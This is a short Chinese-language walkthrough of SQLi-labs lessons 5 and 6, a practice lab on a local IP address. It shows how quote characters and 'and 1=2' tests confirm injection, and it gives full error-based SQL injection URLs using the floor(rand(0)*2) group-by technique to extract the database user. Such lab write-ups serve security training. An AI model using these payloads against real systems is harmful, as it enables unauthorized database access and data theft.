Less5

寻找sql注入漏洞

我输入URL地址

1
http://192.168.0.112/Less-5/?id=1

显示

我添加1变成2发现还是一样
URL地址

1
http://192.168.0.112/Less-5/?id=2

但我加一个'就报sql错误
URL地址

1
http://192.168.0.112/Less-5/?id=2'

明显就是可以报错注入了

URL地址

1
http://192.168.0.112/Less-5/?id=2'and(select%20count(*)%20from%20users%20group%20by%20concat((select%20user()),floor(rand(0)*2)))%20--+

成功

Less6

寻找sql注入漏洞

输入'没有报错
URL地址

1
http://192.168.0.112/Less-6/?id=1'

发现没有报错

输入"发现报错了
URL地址

1
http://192.168.0.112/Less-6/?id=1"

在进行判断用and 1=1来判断

=2他就没有显示了 发现是存在sql注入漏洞的
URL地址

1
http://192.168.0.112/Less-6/?id=1" and 1=2 --+


他什么都不显示我们就可以进行报错注入了

报错注入

URL地址

1
http://192.168.0.112/Less-6/?id=1" and(select%20count(*)%20from%20users%20group%20by%20concat((select%20user()),floor(rand(0)*2)))%20--+